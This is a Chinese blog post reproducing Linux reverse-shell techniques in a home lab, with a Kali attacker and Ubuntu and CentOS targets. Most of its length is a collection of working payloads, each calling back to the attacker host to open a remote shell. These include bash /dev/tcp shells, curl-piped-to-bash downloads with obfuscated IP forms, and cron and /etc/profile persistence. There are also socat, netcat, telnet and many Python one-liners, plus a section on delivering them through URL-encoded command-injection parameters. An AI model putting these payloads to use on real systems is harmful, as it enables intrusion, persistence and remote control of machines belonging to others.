首页 > 系统相关 >Linux反弹shell的简单复现

Linux反弹shell的简单复现

时间:2023-07-19 23:55:51浏览次数:51  
标签:__ fileno 2333 socket dup2 shell 复现 Linux os

前情提要

本文是对https://blog.csdn.net/cosmoslin/article/details/121269178这篇文章的一个简单复现,具体原理在本文中不怎么会提到。师傅如果要验证的话,注意将下文的IP等改为自己对应的IP,还有其他的因素可能也要根据自己的情况做点修改。然后因为靶机或环境配置可能不同,各位师傅复现的结果可能与我的复现结果有些差异。如有意见、建议或问题欢迎提出。

IP:
kali:    192.168.40.148
ubuntu:  192.168.40.151
centos:  192.168.40.156 (由于未设置好,前期centos的IP是动态IP,IPV4可能会变化)
ubuntu和centos作为靶机

第1部分主要复现了各种反弹shell的方法,将各种命令直接放到终端运行,第2部分是对第一部分的简单总结,第3部分复现传参与反弹shell结合的情况,第4部分写的是遇到的主要问题及解决方法。

主要涉及到的网站:

1.要复现的文章:https://blog.csdn.net/cosmoslin/article/details/121269178

2.参考的文章:(开启简易HTTP服务)

3.IP的进制转化:

(转为十进制),(转为八进制),(转为十六进制)

4.(反弹shell写入定时任务)

5.(/etc/profile)

 

1. 复现

1.1 直接bash反弹

kali: nc -lvnp 2333(开放并监听2333端口)
靶机: bash -i >& /dev/tcp/192.168.40.148/2333 0>&1

均能成功反弹:

 

 

1.2 curl

kali:

a.任找一个目录,创建index文件(index.php或index.html),文件内容为:bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 (其中2333为端口号,可改成其他任意的未使用的端口号,但要注意对应)

也可以直接: echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php

 

b.在该目录下开启简易的http服务:https://blog.csdn.net/zr1213159840/article/details/123671790

因为HTTP服务的默认端口是80端口,所以这里http服务开启的是80端口。当然也可改成其他端口,如:

 

php -S 0.0.0.0:80 
python3 -m http.server 80
ruby -run -e httpd . -p 9000
busybox httpd -f -p 3333
任选一种并将端口号改成80即可

 

c.在该目录下打开2333端口:(另开一个终端)

nc -lvp 2333

在ubuntu上执行:curl 192.168.40.148|bash

即可反弹成功:

类似的,在centos上执行:curl 192.168.40.148|bash也可反弹成功

 

可将IP改为十进制、十六进制、八进制,ip进制转化参考的网站:http://www.metools.info/other/ipconvert162.html

十进制:

# 可用
curl 3232245908|bash

 

十六进制:

curl 0xC0A82894|bash (注意必须在前面加上0x!!!!) # 可用
curl c0.a8.28.94|bash # 不可用

 

 

八进制:(IP转为8进制)

 

# 不可用
curl 300520242244|bash
# 可用
curl 0300.0250.0050.0224|bash 

 

 

二进制:

# 不可用
curl 11000000101010000010100010010100|bash

 

小结

# kali上:
echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php 
php -S 0.0.0.0:80 (或其他开启HTTP服务的方法)
nc -lvp 2333
# ubuntu或centos上:
curl 192.168.40.148|bash
# 可将IP转为十进制,八进制,十六进制

 

1.3 将反弹shell写入定时任务-root

参考:https://xz.aliyun.com/t/9488

向目标主机的定时任务文件中写入一个反弹shell的脚本

前提:a.知道当前的用户名b.root权限

centos系列:
/var/spool/cron/root   (把这个root换为当前的用户名即可-whoami)
Ubuntu/Debian:
/var/spool/cron/crontabs/root

初次使用这个定时任务:

 

上图也描述了我们payload中*/1 * * * *这部分的意思,即每隔一分钟就执行一次反弹shell的命令

即:

# centos:
crontab -e # 初次使用定时任务时需要本命令,可能会进行一些操作
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/root

 

 

 

CTF中可以用>,渗透测试应该要用>>(另起一行追加),以避免造成对原内容的损失

效果:

然后尝试用Ubuntu弹shell:

ubuntu:  ????弹不了
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/crontabs/root

emmm....暂时没有解决方法

 

1.4 /etc/profile-root

参考:https://xz.aliyun.com/t/9488

将反弹shell写入/etc/profile文件:

注意!!!!!!这里必须是追加>>符号,用>会导致原文件内容消失,从而系统崩溃;可以做个备份

/etc/profile文件简介:

让/etc/profile生效:

 

即:

1.source(或点) /etc/profile
2.重新登陆系统 --->通过finalshell新开终端

经测试,这两种方法均可使用

编辑/etc/profile要用root权限,否则报错:

 

centos:
echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
打开新的终端 (这个动作必不可少)

kali:

 

Ubuntu同理,成功反弹:

 

1.4 小结

root权限:
echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
运行写入的payload:重启/finalshell上新开终端/source(或点) /etc/profile

 

1.5 socat

可能需要下载:sudo apt install socat

socat tcp-connect:192.168.40.148:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

Ubuntu:

kali:

1.6 nc反弹

法一

如果有-e选项:

nc -e /bin/sh 192.168.40.148 2333

 

emmm..显然ubuntu这里是没有

试试centos:成功!

 

法二

没有-e的话可以选择这条命令:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m
# 无论/tmp/m是否存在均可,/tmp/m也可换成其它文件

 

在执行上条命令之前在kali上执行:

nc -lvp 2333 

 

同理,对于centos:

 

1.6 小结

# 法一:注意先后顺序
kali:
nc -lvp 2333
ubuntu或centos:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m
​
# 法二:条件:有-e选项
nc -e /bin/sh 192.168.40.148 2333

 

1.7 利用netcat反弹shell-root

前提:root权限,网络连接正常

# 没有netcat要下载配置:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make && make install  # 需要root权限
make clean

其中make && make install这一步需要root权限:

否则后面不能反弹成功

# 若出现上面的报错,则执行:
su root   # 切换到root用户,当然也可以用sudo,就不多说了
make && make install
make clean 

使用netcat 反弹:

kali: 
nc -lvp 2333
centos:
netcat 192.168.40.148 2333 -e /bin/bash

centos:

kali:

对ubuntu进行类似的操作,但是在执行./configure的时候出现报错:

 

解决方法:

sudo apt update
sudo apt install build-essential

成功解决.

接着执行:./configure && make && make install && make clean && netcat 192.168.40.148 2333 -e /bin/bash

最终结果:

ubuntu:

 

kali:

1.7小结:

前提:需要root权限,需要有gcc

切换到root: sudo su或其它
gcc: sudo apt install build-essential
kali:
nc -lvp 2333
​
centos或Ubuntu:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make && make install  # 需要root权限:切换到root,或用sudo
make clean
netcat 192.168.40.148 2333 -e /bin/bash  # 如果有netcat,则直接用这条命令
# 即靶机需要执行:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure && make && make install && make clean && netcat 192.168.40.148 2333 -e /bin/bash

1.8 Telnet反弹shell-root

条件:需要有telnet客户端

如果没有则需要安装:(要求有网)

sudo apt update
sudo apt install telnet

kali:

nc -lvp 2333

ubuntu:

mknod a p; telnet 192.168.40.148 2333 0<a | /bin/bash 1>a

明显需要root权限:

root用户:(ubuntu)

kali:

至于centos,步骤应该差不多,这里不做演示

1.9 python

python:(需要按ctrl+c退出)

# 可用,需要python环境
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

centos:

kali:

由于ubuntu上没有python环境,(因为懒得下),所以就不演示了,以下是反弹centos的shell

# 可用,需要python环境
export RHOST="192.168.40.148";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

centos:

kali:

 

接下来的都差不多,就不发截图了

# 可用
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

另:发现每连接一次SSH,centos的IP就会变化,解决:https://blog.csdn.net/cyberpunk_Isme/article/details/108257936

# 可用
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
​
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

 

IPV4(无空格)

# 可用
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
​
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
​
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

感觉下面的都差不多,那就验证到这儿.

 

2.Linux反弹shell总结

1.无论是哪种反弹shell,都要注意在开始时在攻击机(本文中是kali)上开启相应端口:nc -lvp 2333(也可多加一个-n参数,即nc -lvnp 2333)(所以为避免重复,在下面列举payload时不再提醒要在kali上运行nc -lvnp 2333命令)

该命令的相关解释:

 

2.除了定时任务那个,反弹centos或ubuntu的shell时并无大的不同,只是有些环境或软件只在centos或ubuntu上而已,可通过下载或配置环境解决

3.Ip可换为十进制,十六进制(加上0x那种,不区分大小写),八进制(加上点的那种).IP进制转换的相关网站:(转为十进制),(转为八进制),(转为十六进制)

4.使用时记得替换掉对应的IP,即将下面的192.168.40.148替换为攻击机的IP,也可将2333端口换为其它不用的端口,只要注意对应即可

5.payload:无特殊说明的就是直接在靶机终端上运行的。

①直接bash反弹

bash -i >& /dev/tcp/192.168.40.148/2333 0>&1

②curl:

# kali上:
echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php 
php -S 0.0.0.0:80 (或其他开启HTTP服务的方法)
# ubuntu或centos上:
curl 192.168.40.148|bash

③定时任务-适用centos

centos系列:
/var/spool/cron/root
Ubuntu/Debian:
/var/spool/cron/crontabs/root
例:
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/root

④/etc/profile-root-不可

sudo echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
登录系统或者执行/etc/profile文件(source,点)

④socat-可用

socat tcp-connect:192.168.40.148:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

⑤nc:可用

nc -e /bin/sh 192.168.40.148 2333

nc:可用

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m

⑥netcat-root,gcc

# 靶机环境准备(必要的话):
# 切换到root: 
sudo su或su或su root或su -
# 安装gcc: 
sudo apt install build-essential
# 安装配置netcat:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure && make && make install && make clean
netcat 192.168.40.148 2333 -e /bin/bash

⑦telnet-root

mknod a p; telnet 192.168.40.148 2333 0<a | /bin/bash 1>a

⑧一系列脚本:

Python环境(py2和py3都可)-下面IPV6部分不太常用,除此部分之外的其他payload应该都能用

# 一般:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
​
IPV4:
export RHOST="192.168.40.148";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
​
# IPv4 (No Spaces) 验证到了这儿
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
​
# IPv4 (No Spaces, Shortened)
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
​
# IPv4 (No Spaces, Shortened Further)
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
​
# IPv6,下面需要得知靶机的IPV6,一般不怎么涉及,故没有验证
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
​
# IPv6 (No Spaces)
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
​
# IPv6 (No Spaces, Shortened)
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
​

 

3. 传参与反弹shell

在CTF比赛中,一般不会让我们直接在靶机终端输入命令,通常要传参,下列是通过传参来执行命令的情况.

先看环境:

Ubuntu:192.168.40.151

kali:192.168.40.148

 

开启HTTP服务:(Ubuntu)
sudo apt-get install php(如果必要的话)
php -S 0.0.0.0:8080
​
kali:
nc -lvnp 2333

 

访问并传参:正常执行

 

开始验证:

# ①直接bash反弹: Ubuntu不可,centos可
bash -i >& /dev/tcp/192.168.40.148/2333 0>&1

 

尝试URL编码处理:

 

依旧不能获得shell

尝试用centos:经过一次URL编码后能成功反弹:

 

 

另:

在Ubuntu上测是否需要转义字符时不小心把系统弄崩了,但重启可恢复,经过反复测试,会弄崩的语句有:

bash -i >& /dev/tcp/192.168.40.148/7777 0\>&1
bash -i >\& /dev/tcp/192.168.40.148/7777 0>\&1
bash -i >\& /dev/tcp/192.168.40.148/7777 0\>&1
bash -i >\& /dev/tcp/192.168.40.148/7777 0\>\&1

崩掉的情况:

 

# ②curl :可行
# kali上:
echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php 
nc -lvp 2333
# ubuntu或centos上:
curl 192.168.40.148|bash

IP转为十进制:可行,所以用1.2中的8进制与十六进制估计也行

# ③定时任务:-root  Ubuntu不可,centos可
centos系列:
/var/spool/cron/root
Ubuntu/Debian:
/var/spool/cron/crontabs/root
例:(传参时需要经过URL编码)
Ubuntu:
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/crontabs/root
centos:
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/root

虽然能够写入,但是不能按照规则,1分钟执行一次反弹shell的命令

试试centos:可行,只不过要进行编码:

 

结果:

 

# ④/etc/profile-root : Ubuntu不可,centos可
sudo echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
打开终端: gnome-terminal

在root用户下,传值echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile,以Ubuntu为例

注意要进行URL编码:

 

尝试通过source /etc/profile或. /etc/profile来使payload生效:

 

尝试失败

 

试试centos:-root:可行

(URL编码)sudo echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
source /etc/profile

 

用点也可以:

 

# ⑤socat:可用
socat tcp-connect:192.168.40.148:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

 

# ⑥可行
nc -e /bin/sh 192.168.40.148 2333

 

关于nc -e /bin/sh 192.168.40.148 2333为什么又能在ubuntu中执行这件事:

我怀疑可能是因为我执行了这两条命令:(不确定)

 

# 失败
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m

 

# ⑦netcat-root,gcc
# 可用
# 靶机环境准备(必要的话):
# 切换到root: 
sudo su或su或su root或su -
# 安装gcc: 
sudo apt install build-essential
# 安装配置netcat:
 wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure && make && make install && make clean
 
netcat 192.168.40.148 2333 -e /bin/bash

 

# ⑧telnet-root
# 可用
mknod a p; telnet 192.168.40.148 2333 0<a | /bin/bash 1>a

 

一系列脚本:

测试所用的Python环境-Python2.7.18 (python3应该也可以)

# ⑨ 可用
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
​
IPV4:
export RHOST="192.168.40.148";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
​
# IPv4 (No Spaces) 验证到了这儿
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
​
# IPv4 (No Spaces, Shortened)
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
​
# IPv4 (No Spaces, Shortened Further)
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
​
# IPv6,下面需要得知靶机的IPV6,一般不怎么涉及,故没有验证
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
​
# IPv6 (No Spaces)
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
​
# IPv6 (No Spaces, Shortened)
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
​

 

小结

除了1.1、1.3、1.4均未能反弹Ubuntu的shell、1.6的法二、1.9的Ipv6部分payload,其他payload都能成功反弹shell。

其中1.3、1.4、1.7、1.8要求有root权限,1.3反弹centos的shell、1.4要求进行一次URL编码后再传参。

4. 遇到的问题及解决方法

将centos的动态IP化为静态IP:https://blog.csdn.net/cyberpunk_Isme/article/details/108257936

centos无法联网:(参考文章)

这两篇文章都在修改同一个文件:vim /etc/sysconfig/network-scripts/ifcfg-ens33

修改后的结果:

 

可能受PHP版本影响,在centos环境,php 5.4.16的情况下,php -S 0.0.0.0:8080的执行情况不理想

 

所以centos升级PHP版本:(参考文章)

php -v
yum list installed |grep php
yum remove php*
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
 yum install php72w php72w-opcache  php72w-xml  php72w-mcrypt   php72w-gd php72w-devel php72w-mysqlnd  php72w-intl    php72w-mbstring   php72w-pear  php72w-pdo  php72w-fpm

还参考了这个:

 

 

标签:__,fileno,2333,socket,dup2,shell,复现,Linux,os
From: https://www.cnblogs.com/hello-admin/p/17567081.html

相关文章

  • linux awk 命令中 next 和 getline
     001、continue[root@PC1test01]#lsdata[root@PC1test01]#catdata##测试数据1000naughty500cc400zoer100[root@PC1test01]#awk'{if(NR==2){next};print$0}'data##next相当于内层循环的continue,表示跳过该次迭代1000cc400zoer100......
  • Docker大会的新福利:LinuxKit 和 Moby 开源项目
    在一年一度的DockerCon大会上,来自全球各地的5000名参与者,济济一堂,于奥斯丁会议中心,共同见证Docker的发展,探讨容器技术的落地。 Docker创办人暨技术长SolomonHykes认为,今年容器将成为主流,将散布伺服器、资料中心、云端、桌面、IoT与行动等运算装置,或金融、医疗保键......
  • Docker大会的新福利:LinuxKit 和 Moby 开源项目
    在一年一度的DockerCon大会上,来自全球各地的5000名参与者,济济一堂,于奥斯丁会议中心,共同见证Docker的发展,探讨容器技术的落地。 Docker创办人暨技术长SolomonHykes认为,今年容器将成为主流,将散布伺服器、资料中心、云端、桌面、IoT与行动等运算装置,或金融、医疗保键......
  • Docker大会的新福利:LinuxKit 和 Moby 开源项目
    在一年一度的DockerCon大会上,来自全球各地的5000名参与者,济济一堂,于奥斯丁会议中心,共同见证Docker的发展,探讨容器技术的落地。 Docker创办人暨技术长SolomonHykes认为,今年容器将成为主流,将散布伺服器、资料中心、云端、桌面、IoT与行动等运算装置,或金融、医疗保键......
  • Linux的特殊文件
    /dev/null/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称"黑洞"。比较常见的用法是吧不需要的输出重定向到这个文件。pingwww.baiud.com>/dev/null&/dev/zero"零"设备,可以无限的提供空字符(0x00,ASCII代码NUL)。常用来生成一个特定大小的文件......
  • linux 内存管理 --- kmalloc 和 vmalloc
    kmallockmalloc会根据申请的内存大小来决定来决定使用块分配器(slab/slub/slob)或页分配器进行内存分配(buddy),只能分配几个固定大小的内存,申请值不在这些固定值之内时,会按向上对齐的原则,分配最接近申请值的内存块。static__always_inlinevoid*kmalloc(size_tsize,gfp_tfl......
  • 【linux】gcc编译选项:-fomit-frame-pointer,-fno-tree-vectorize,-fno-strict-aliasing
    Date:2018.9.81、参考https://www.cnblogs.com/islandscape/p/3444122.htmlhttps://blog.csdn.net/chdhust/article/details/8462414https://gcc.gnu.org/onlinedocs/gcc-6.2.0/gcc.pdfhttps://blog.csdn.net/u012927281/article/details/50999138https://blog.csdn.net/sof......
  • Shell 和 命令行格式
    一.shell1)bash  bash是linux里面默认的shell程序  位于/bin/bash2)shell与内、外部命令1.shell分为内部命令和外部命令,一般先执行内部命令,hash再执行外部命令2.内外部命令的区别内部命令外部命令集成于shell解释器程序内部的一些特殊指令,也称为内建(built-in)指......
  • shell脚本中对数组的操作汇总
    方法用例备注创建数组arr=(val_1val_2val_3)数组间的元素以空格分割。创建空数组arr_new=()访问数组arr=(val_1val_2val_3)echo"${arr[0]}"数组的索引从“0”开始,在这个例子中,脚本会输出“val_1”。访问数组的长度arr=(val_1val_2val_3)e......
  • 2023.7.18 linux 设备树
    CONFIG_OF 此内核配置启用设备树,使用相关api需要包含:#include<linux/of.h>#include<linux/of_device.h> 查看API:https://docs.kernel.org/devicetree/kernel-api.html Anintroductiontotheconceptofaliases,labels,phandles,andpaths Whenusin......